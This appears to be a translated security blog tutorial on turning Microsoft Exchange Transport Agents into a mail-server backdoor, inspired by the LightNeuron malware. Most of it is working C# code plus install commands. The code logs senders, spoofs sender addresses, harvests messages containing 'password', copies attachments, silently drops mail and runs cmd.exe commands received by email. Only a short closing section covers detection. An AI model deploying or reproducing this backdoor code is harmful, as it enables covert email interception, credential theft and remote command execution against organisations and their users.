0x00 Preface

---

ESET research has discovered a malware named LightNeuron specifically targeting Microsoft Exchange, which employs a previously unseen persistence technique: Transport Agent, capable of achieving the following functions:

  • Read and modify any email passing through the mail server
  • Compose and send new emails
  • Block any email. The original recipient will not receive the email

References:

https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/

https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

This article, solely from a technical research perspective, introduces the usage of Transport Agent, writes code to implement different functions, and provides defense recommendations based on exploitation ideas

0x01 Introduction

---

This article will cover the following topics:

  • Transport Agent Basics
  • Usage of Transport Agent
  • Monitoring emails using Transport Agent
  • Modifying emails using Transport Agent
  • Deleting emails using Transport Agent
  • Launching programs using Transport Agent
  • Defense detection

0x02 Basics of Transport Agent

---

References

https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2010/dd877026(v=exchg.140)

1. Transport Agent

Can be used to extend and modify Exchange's transport behavior to customize message acceptance, rejection, routing, and delivery, as well as convert between various types of content

Simply put, Transport Agents act as plugins for Exchange, enabling the extension and modification of Exchange's transport behavior, such as reading, modifying, and deleting each transmitted email

2. .NET Framework Extensions for Exchange

The Microsoft.Exchange.Data namespace provides types that facilitate the following tasks:

  • Read and write MIME data
  • Convert message body and other text from one encoding to another
  • Read and write TNEF data
  • Read and write calendar and appointment data
  • Convert message formats; for example, from HTML to RTF
  • Respond to SMTP events
  • Respond to routing events

Simply put, using the Microsoft.Exchange.Data namespace allows extending and modifying Exchange's transport behavior

Usage of 0x03 Transport Agent

---

References:

https://docs.microsoft.com/en-us/previous-versions/office/developer/exchange-server-2010/aa579185(v=exchg.140)?redirectedfrom=MSDN

C# development, using the Microsoft.Exchange.Data namespace

Using Visual Studio, create a new C# project, select Class Library as the project type, and reference the following DLLs:

  • Microsoft.Exchange.Data.Common.dll
  • Microsoft.Exchange.Data.Transport.dll

The dll can be obtained from the Exchange server, located at %ExchangeInstallPath%Public, for example C:\Program Files\Microsoft\Exchange Server\V15\Public

Test code is as follows:

using System;
using System.Collections.Generic;
using System.Text;
using Microsoft.Exchange.Data.Transport;
using Microsoft.Exchange.Data.Transport.Smtp;

namespace MyAgents
{
public sealed class MyAgentFactory : SmtpReceiveAgentFactory
{
public override SmtpReceiveAgent CreateAgent(SmtpServer server)
{
return new MyAgent();
}
}
public class MyAgent : SmtpReceiveAgent
{
public MyAgent()
{
this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
}
private void MyEndOfDataHandler (ReceiveMessageEventSource source, EndOfDataEventArgs e)

{
// The following line appends text to the subject of the message that caused the event.
e.MailItem.Message.Subject += " - this text appended by MyAgent";
}
}
}

Compile and generate MyAgent.dll

Copy MyAgent.dll to the Exchange server, save it to the path C:\test\MyAgent.dll

Use Exchange Server PowerShell to install the Transport Agent with the following command:

Install-TransportAgent -Name "MySpamFilterAgent" -TransportAgentFactory "MyAgents.MyAgentFactory" -AssemblyPath "C:\test\MyAgent.dll"
Enable-TransportAgent MySpamFilterAgent
Restart-Service MSExchangeTransport

The MSExchangeTransport service must be restarted to take effect

Command to uninstall the Transport Agent:

Uninstall-TransportAgent MySpamFilterAgent -Confirm:$false
Restart-Service MSExchangeTransport

Command to view this Transport Agent:

Get-TransportAgent MySpamFilterAgent|fl

Command to view all Transport Agents:

Get-TransportAgent |fl

After the Transport Agent is successfully installed, use any user to send an email, and the email subject will be modified, indicating a successful test

0x04 Implementing Different Functions Using Transport Agent

---

Example 1

Monitor emails, record sender and time, save file as c:\test\log.txt

Code is as follows:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Microsoft.Exchange.Data.Transport;
using Microsoft.Exchange.Data.Transport.Smtp;

namespace MyAgents
{
public sealed class MyAgentFactory : SmtpReceiveAgentFactory
{
public override SmtpReceiveAgent CreateAgent(SmtpServer server)
{
return new MyAgent();
}
}
public class MyAgent : SmtpReceiveAgent
{
public MyAgent()
{
this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
}
private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)

{
using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true))
{
file.WriteLine("Sender:" + e.MailItem.Message.Sender.SmtpAddress);
file.WriteLine("Date:" + e.MailItem.Message.Date);
}
}
}
}

Example 2

Modify the sender and subject of the email

The code is as follows:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Microsoft.Exchange.Data.Transport;
using Microsoft.Exchange.Data.Transport.Smtp;

namespace MyAgents
{
public sealed class MyAgentFactory : SmtpReceiveAgentFactory
{
public override SmtpReceiveAgent CreateAgent(SmtpServer server)
{
return new MyAgent();
}
}
public class MyAgent : SmtpReceiveAgent
{
public MyAgent()
{
this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
}
private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)

{
// The following line appends text to the subject of the message that caused the event.
e.MailItem.Message.Subject += " - this text appended by MyAgent";
e.MailItem.Message.From.DisplayName = "test2";
e.MailItem.Message.From.SmtpAddress = "[email protected]";
e.MailItem.Message.Sender.DisplayName = "test2";
e.MailItem.Message.Sender.SmtpAddress = "[email protected]";
}
}
}

Example 3

Monitor emails, and if an email contains the string 'password' (case-insensitive), save this email to c:\test with the file name .eml (to avoid duplicate file names, use the unique MessageId as the file name).

The code is as follows:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Microsoft.Exchange.Data.Transport;
using Microsoft.Exchange.Data.Transport.Smtp;

namespace MyAgents
{
public sealed class MyAgentFactory : SmtpReceiveAgentFactory
{
public override SmtpReceiveAgent CreateAgent(SmtpServer server)
{
return new MyAgent();
}
}
public class MyAgent : SmtpReceiveAgent
{
public MyAgent()
{
this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
}
private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)

{

long len = e.MailItem.GetMimeReadStream().Length;
byte[] heByte = new byte[len];
int r = e.MailItem.GetMimeReadStream().Read(heByte, 0, heByte.Length);
string searchData = System.Text.Encoding.UTF8.GetString(heByte);
if (searchData.IndexOf("password", 0, StringComparison.CurrentCultureIgnoreCase) != -1)
{
string[] sArray = e.MailItem.Message.MessageId.Split('@');
sArray[0] = sArray[0].Substring(1);

FileStream fs = new FileStream("c:\\test\\" + sArray[0] + ".eml", FileMode.Create);
fs.Write(heByte, 0, heByte.Length);
fs.Close();
}
}
}
}

Example 4

Monitor attachments, save attachment names in c:\test\log.txt, and save all attachments to c:\test with file names as attachment names

Code is as follows:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Microsoft.Exchange.Data.Transport;
using Microsoft.Exchange.Data.Transport.Smtp;

namespace MyAgents
{
public sealed class MyAgentFactory : SmtpReceiveAgentFactory
{
public override SmtpReceiveAgent CreateAgent(SmtpServer server)
{
return new MyAgent();
}
}
public class MyAgent : SmtpReceiveAgent
{
public MyAgent()
{
this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
}
private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)

{
if (e.MailItem.Message.Attachments.Count != 0)
{
foreach (var attachment in e.MailItem.Message.Attachments)
{
using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true))
{
file.WriteLine(attachment.FileName);
}
FileStream fs = new FileStream("c:\\test\\" + attachment.FileName, FileMode.Create);
attachment.GetContentReadStream().CopyTo(fs);
fs.Close();
}

}
}
}
}

Compared to Sample Code 3, there is a difference in the functionality of saving data to a file

Sample 3 first reads data from the stream and stores it in a byte array, then converts the byte array to a string, and finally writes the string to a file via FileStream. Although this approach is less efficient, it supports full-text content search

Sample Code 4 does not need to consider full-text search, so it can use Stream.CopyTo to copy two streams for improved efficiency

Sample 5

Monitor emails, and if the email content includes the string 'alert' (case-insensitive), then discard this email

The code is as follows:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Microsoft.Exchange.Data.Transport;
using Microsoft.Exchange.Data.Transport.Smtp;

namespace MyAgents
{
public sealed class MyAgentFactory : SmtpReceiveAgentFactory
{
public override SmtpReceiveAgent CreateAgent(SmtpServer server)
{
return new MyAgent();
}
}
public class MyAgent : SmtpReceiveAgent
{
public MyAgent()
{
this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
}
private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)
{
long len = e.MailItem.GetMimeReadStream().Length;
byte[] heByte = new byte[len];
int r = e.MailItem.GetMimeReadStream().Read(heByte, 0, heByte.Length);
string searchData = System.Text.Encoding.UTF8.GetString(heByte);
if (searchData.IndexOf("alert", 0, StringComparison.CurrentCultureIgnoreCase) != -1)
{
foreach (EnvelopeRecipient ep in e.MailItem.Recipients)
{
e.MailItem.Recipients.Remove(ep);
}
}
}
}
}

Example 6

Monitor emails; if an email is from a specified user ([email protected]) with the subject 'command', then execute the content xxxx in the email body (format: command:xxxx/command)

The code is as follows:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Microsoft.Exchange.Data.Transport;
using Microsoft.Exchange.Data.Transport.Smtp;
using System.Diagnostics;

namespace MyAgents
{
public sealed class MyAgentFactory : SmtpReceiveAgentFactory
{
public override SmtpReceiveAgent CreateAgent(SmtpServer server)
{
return new MyAgent();
}
}
public class MyAgent : SmtpReceiveAgent
{
public MyAgent()
{
this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
}
private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)
{
if (e.MailItem.Message.From.SmtpAddress == "[email protected]")
{
if(e.MailItem.Message.Subject.Contains("command"))
{
long len = e.MailItem.Message.Body.GetContentReadStream().Length;
byte[] heByte = new byte[len];
int r = e.MailItem.Message.Body.GetContentReadStream().Read(heByte, 0, heByte.Length);
string myStr = System.Text.Encoding.UTF8.GetString(heByte);
int i = myStr.IndexOf("command:");
int j = myStr.IndexOf("/command");
myStr = myStr.Substring(i + 8, j - i - 8);

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c" + myStr;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.StartInfo.CreateNoWindow = true;
p.Start();

}
}


}
}
}

The launched process runs with NETWORK SERVICE privileges

Supplement

For debugging purposes, capture errors and output error codes to file c:\test\log.txt

The code is as follows:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
using Microsoft.Exchange.Data.Transport;
using Microsoft.Exchange.Data.Transport.Smtp;
using System.Diagnostics;

namespace MyAgents
{
public sealed class MyAgentFactory : SmtpReceiveAgentFactory
{
public override SmtpReceiveAgent CreateAgent(SmtpServer server)
{
return new MyAgent();
}
}
public class MyAgent : SmtpReceiveAgent
{
public MyAgent()
{
this.OnEndOfData += new EndOfDataEventHandler(MyEndOfDataHandler);
}
private void MyEndOfDataHandler(ReceiveMessageEventSource source, EndOfDataEventArgs e)
{
try
{

}
catch (Exception ex)
{
using (System.IO.StreamWriter file = new System.IO.StreamWriter(@"C:\test\log.txt", true))
{
file.WriteLine(ex.Message);
}

}


}
}
}

0x05 Defense Detection

---

1. Check Transport Agent Configuration

Using Exchange Server PowerShell, command as follows:

Get-TransportAgent

Other PowerShell commands can be referenced at:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mail-flow

2. Check Service Logs

Installing Transport Agent requires restarting the MSExchangeTransport service

3. Check Processes

After using Transport Agent, the process w3wp.exe will load the corresponding dll

You can check whether the process w3wp.exe loads suspicious dlls

0x06 Summary

---

This article introduces the usage of Transport Agent, writing code to implement recording, modifying, and deleting emails, achieving common functions used as a backdoor, and providing defense suggestions based on exploitation ideas